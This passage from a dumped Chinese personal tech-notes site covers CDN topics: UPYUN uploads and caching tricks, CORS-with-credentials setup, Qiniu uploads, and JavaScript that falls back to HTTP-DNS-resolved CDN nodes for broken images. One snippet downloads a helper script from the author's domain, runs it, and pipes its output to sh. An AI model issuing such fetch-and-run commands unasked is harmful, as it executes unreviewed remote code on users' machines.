policy=\\${UPYUN_POLICY} -F signature=\\${UPYUN_SIGN}&quot;</span>\n</code></pre></div>\n\n<p>我也提供了一个脚本便于你快速调用：</p>\n<div class=\"codehilite\"><pre><span></span><code>curl -O d.py3.io/up.sh\nsh up.sh key bucket filename\n\n# 触发上传只要继续丢给sh就行\nsh up.sh key bucket filename|sh\n</code></pre></div>\n\n<hr />\n<h3 id=\"upyun61\">UPYUN省钱方案：缓存61秒 变为静态请求<a class=\"headerlink\" href=\"#upyun61\" title=\"Permanent link\">&para;</a></h3>\n<p>虽然人家 <a href=\"https://www.upyun.com/price_instruction\">计费说明</a> 写的是</p>\n<blockquote>\n<p>动态请求是指回用户源站并且缓存时间小于 60 秒或者指定不缓存的请求。</p>\n</blockquote>\n<p>但从实际的访问日志来看，缓存60秒是不够的，必须缓存61秒才当成静态请求</p>\n<p>需要进行的代码变动: 子域名+直接解析到源站+跨域请求+一个获取cookie的路由</p>\n<p>注意到我们把网页本身都缓存了，所以 <strong>网页源代码本身不能有用户相关的内容</strong></p>\n<p>用户登录状态可以存在cookie里 指定domain的方式让子域名也能获取</p>\n<p>缓存61秒，一般用户还是能触发MISS，产生一次回源设置好cookie</p>\n<p>但如果用户访问的全部是缓存页面，前端代码需要先判断cookie是否存在，不存在就需要发起getsession请求来获取cookie再进行跨域请求</p>\n<p>这种跨域需要带上Cookie所以是withCredential的</p>\n<p>前端js:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">function</span><span class=\"w\"> </span><span class=\"nt\">queryme</span><span class=\"o\">()</span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"err\">$.ajax({</span>\n<span class=\"w\">        </span><span class=\"n\">url</span><span class=\"p\">:</span><span class=\"s2\">&quot;https://subdomain.www.example.com/uri&quot;</span><span class=\"p\">,</span>\n<span class=\"w\">        </span><span class=\"n\">success</span><span class=\"o\">:</span><span class=\"nf\">function</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span><span class=\"err\">{</span>\n<span class=\"w\">            </span><span class=\"o\">//...</span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"o\">,</span>\n<span class=\"w\">        </span><span class=\"nt\">xhrFields</span><span class=\"o\">:</span><span class=\"p\">{</span><span class=\"n\">withCredentials</span><span class=\"p\">:</span><span class=\"n\">true</span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"err\">}</span><span class=\"o\">)</span>\n<span class=\"err\">}</span>\n<span class=\"o\">(</span><span class=\"nt\">function</span><span class=\"o\">()</span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"err\">if(document.cookie.indexOf(&quot;user=&quot;)&gt;=0){</span>\n<span class=\"w\">        </span><span class=\"err\">queryme()</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span><span class=\"nt\">else</span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"err\">$.get(&quot;/getsession&quot;,null,queryme)</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"err\">}</span><span class=\"o\">)();</span>\n</code></pre></div>\n\n<p>后端Nginx:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">add_header</span><span class=\"w\"> </span><span class=\"s1\">&#39;Access-Control-Allow-Origin&#39;</span><span class=\"w\"> </span><span class=\"s1\">&#39;https://www.example.com&#39;</span><span class=\"o\">;</span>\n<span class=\"nt\">add_header</span><span class=\"w\"> </span><span class=\"s1\">&#39;Access-Control-Allow-Credentials&#39;</span><span class=\"w\"> </span><span class=\"s1\">&#39;true&#39;</span><span class=\"o\">;</span>\n</code></pre></div>\n\n<h2 id=\"qiniu\">Qiniu<a class=\"headerlink\" href=\"#qiniu\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"qshell\">使用qshell上传文件夹<a class=\"headerlink\" href=\"#qshell\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">qshell</span><span class=\"w\"> </span><span class=\"n\">qupload</span><span class=\"w\"> </span><span class=\"p\">[</span><span class=\"o\">&lt;</span><span class=\"n\">ThreadCount</span><span class=\"o\">&gt;</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"n\">LocalUploadConfig</span><span class=\"o\">&gt;</span>\n</code></pre></div>\n\n<p>需要写一个config文件，具体参见官方文档</p>\n<p><a href=\"https://developer.qiniu.com/kodo/tools/1302/qshell\">https://developer.qiniu.com/kodo/tools/1302/qshell</a></p>\n<p><a href=\"https://github.com/qiniu/qshell/wiki/qupload\">https://github.com/qiniu/qshell/wiki/qupload</a></p>\n<h2 id=\"dnshttp-dnscdn\">本地DNS不靠谱？用HTTP DNS访问正确的CDN节点<a class=\"headerlink\" href=\"#dnshttp-dnscdn\" title=\"Permanent link\">&para;</a></h2>\n<p>情形：用户的DNS不靠谱，不遵循CDN DNS的TTL设置，导致用户得到的节点IP已经过期失效，导致网站上的图片无法加载</p>\n<p>解决方案：使用<a href=\"https://help.aliyun.com/document_detail/30102.html\">阿里云的HTTP DNS</a> (支持HTTPS请求)，网页端访问图片时如果出错替换为<strong>指定IP的CDN节点</strong></p>\n<h3 id=\"http-dns\">HTTP DNS接入<a class=\"headerlink\" href=\"#http-dns\" title=\"Permanent link\">&para;</a></h3>\n<p>按照文档操作即可： https://help.aliyun.com/document_detail/30113.html</p>\n<p>注意到目前<code>https://203.107.1.33</code>会证书错误，改用<code>https://203.107.1.1</code>即可</p>\n<p>这个接口支持跨域请求：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">$.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://203.107.1.1/100000/d?host=www.aliyun.com&quot;</span><span class=\"p\">,</span><span class=\"nb nb-Type\">null</span><span class=\"p\">,</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">ip</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">ips</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"n\">ip</span><span class=\"p\">);</span>\n<span class=\"p\">});</span>\n</code></pre></div>\n\n<h3 id=\"_2\">泛域名解析<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<p>参考 <a href=\"https://sslip.io\">sslip.io</a></p>\n<p>假设我们有已经备案的域名<code>example.com</code>，使用<code>xip.example.com</code>作为泛域名解析的域名，也就是说<code>140-205-34-3.xip.example.com</code>就会解析到<code>140.205.34.3</code></p>\n<p>只需要设置4条NS记录即可：</p>\n<div class=\"codehilite\"><pre><span></span><code>ns-aws.nono.io\nns-gce.nono.io\nns-azure.nono.io\nns-vultr.nono.io\n</code></pre></div>\n\n<h3 id=\"https\">申请泛域名的https证书<a class=\"headerlink\" href=\"#https\" title=\"Permanent link\">&para;</a></h3>\n<p>参见： https://py3.io/Nginx/#acmesh</p>\n<h3 id=\"cdn_1\">配置CDN<a class=\"headerlink\" href=\"#cdn_1\" title=\"Permanent link\">&para;</a></h3>\n<p>将泛域名绑定到CDN服务上，并提供申请到的HTTPS证书，开启HTTPS访问</p>\n<h3 id=\"js\">前端JS<a class=\"headerlink\" href=\"#js\" title=\"Permanent link\">&para;</a></h3>\n<p>下述代码出错时将把图片src的<code>www.aliyun.com</code>替换为<code>1-2-3-4.xip.example.com</code>，特点：</p>\n<ul>\n<li>只要一张CDN的图片已经出错就会开始替换所有坏图</li>\n<li>不会替换已经成功加载的图片</li>\n<li>使用localStorage缓存HTTP DNS的查询结果 缓存一周</li>\n<li>存储了DNS的TTL结果，如果TTL已经过期就再次查询（所以上面缓存一周其实没用，TTL一般就10分钟）</li>\n</ul>\n<p>参考： </p>\n<ul>\n<li>https://stackoverflow.com/questions/736513/how-do-i-parse-a-url-into-hostname-and-path-in-javascript</li>\n<li>https://stackoverflow.com/questions/92720/jquery-javascript-to-replace-broken-images</li>\n</ul>\n<p>依赖lscache: https://github.com/pamelafox/lscache</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">cdnupdating</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"bp\">false</span><span class=\"p\">;</span>\n\n<span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">updatecdn</span><span class=\"p\">(</span><span class=\"n\">cb</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">cdnupdating</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">cdnupdating</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"bp\">true</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"o\">$.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;https://203.107.1.1/100000/d?host=www.aliyun.com&quot;</span><span class=\"p\">,</span><span class=\"nb nb-Type\">null</span><span class=\"p\">,</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">){</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">ip</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">ips</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">];</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">domain</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">ip</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"o\">/</span>\\<span class=\"o\">./</span><span class=\"n\">g</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s2\">&quot;-&quot;</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"s2\">&quot;.xip.example.com&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">ddl</span><span class=\"o\">=</span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">Date</span><span class=\"p\">()</span><span class=\"o\">/</span><span class=\"mi\">1000</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">ttl</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">cdn</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"n\">domain</span><span class=\"p\">:</span><span class=\"n\">domain</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">ddl</span><span class=\"p\">:</span><span class=\"n\">ddl</span><span class=\"p\">};</span>\n<span class=\"w\">        </span><span class=\"n\">lscache</span><span class=\"o\">.</span><span class=\"n\">set</span><span class=\"p\">(</span><span class=\"s1\">&#39;cdn&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">cdn</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">604800</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">cb</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">cb</span><span class=\"p\">(</span><span class=\"n\">cdn</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">});</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">fixbrokenimages</span><span class=\"p\">(</span><span class=\"n\">cdn</span><span class=\"p\">){</span>\n<span class=\"w\">  </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">cdn</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">cdn</span><span class=\"o\">=</span><span class=\"n\">lscache</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;cdn&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">  </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">cdn</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"n\">cdn</span><span class=\"o\">.</span><span class=\"n\">ddl</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">Date</span><span class=\"p\">()</span><span class=\"o\">/</span><span class=\"mi\">1000</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">updatecdn</span><span class=\"p\">(</span><span class=\"n\">fixbrokenimages</span><span class=\"p\">);</span>\n<span class=\"w\">  </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s1\">&#39;img[src*=&quot;www.aliyun.com&quot;]&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">each</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">complete</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"nb\">typeof</span><span class=\"w\"> </span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">naturalWidth</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s2\">&quot;undefined&quot;</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">naturalWidth</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">      </span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;www.aliyun.com&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">cdn</span><span class=\"o\">.</span><span class=\"n\">domain</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">  </span><span class=\"p\">});</span>\n<span class=\"p\">}</span>\n<span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">fixbrokenimages_timer</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nb nb-Type\">null</span><span class=\"p\">;</span>\n<span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">image_onerror</span><span class=\"p\">(){</span>\n<span class=\"w\">    </span><span class=\"o\">//</span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"s2\">&quot;image_onerror&quot;</span><span class=\"p\">,</span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"o\">/.*</span><span class=\"n\">www</span><span class=\"o\">.</span><span class=\"n\">aliyun</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"o\">.*/.</span><span class=\"n\">test</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"o\">.</span><span class=\"n\">src</span><span class=\"p\">)){</span>\n<span class=\"w\">        </span><span class=\"n\">fixbrokenimages</span><span class=\"p\">();</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">fixbrokenimages_timer</span><span class=\"p\">){</span>\n<span class=\"w\">        </span><span class=\"n\">fixbrokenimages_timer</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">setInterval</span><span class=\"p\">(</span><span class=\"n\">fixbrokenimages</span><span class=\"w\"> </span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">1000</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s1\">&#39;img[src*=&quot;www.aliyun.com&quot;]&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">on</span><span class=\"p\">(</span><span class=\"s1\">&#39;error&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">image_onerror</span><span class=\"p\">);</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/CNAME",
    "content": "py3.io\nnote.py3.io\n"
  },
  {
    "path": "docs/Developer/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../RabbitMQ/\">\n      \n      \n        <link rel=\"next\" href=\"../Docker/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Developer - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#_1\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Developer\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      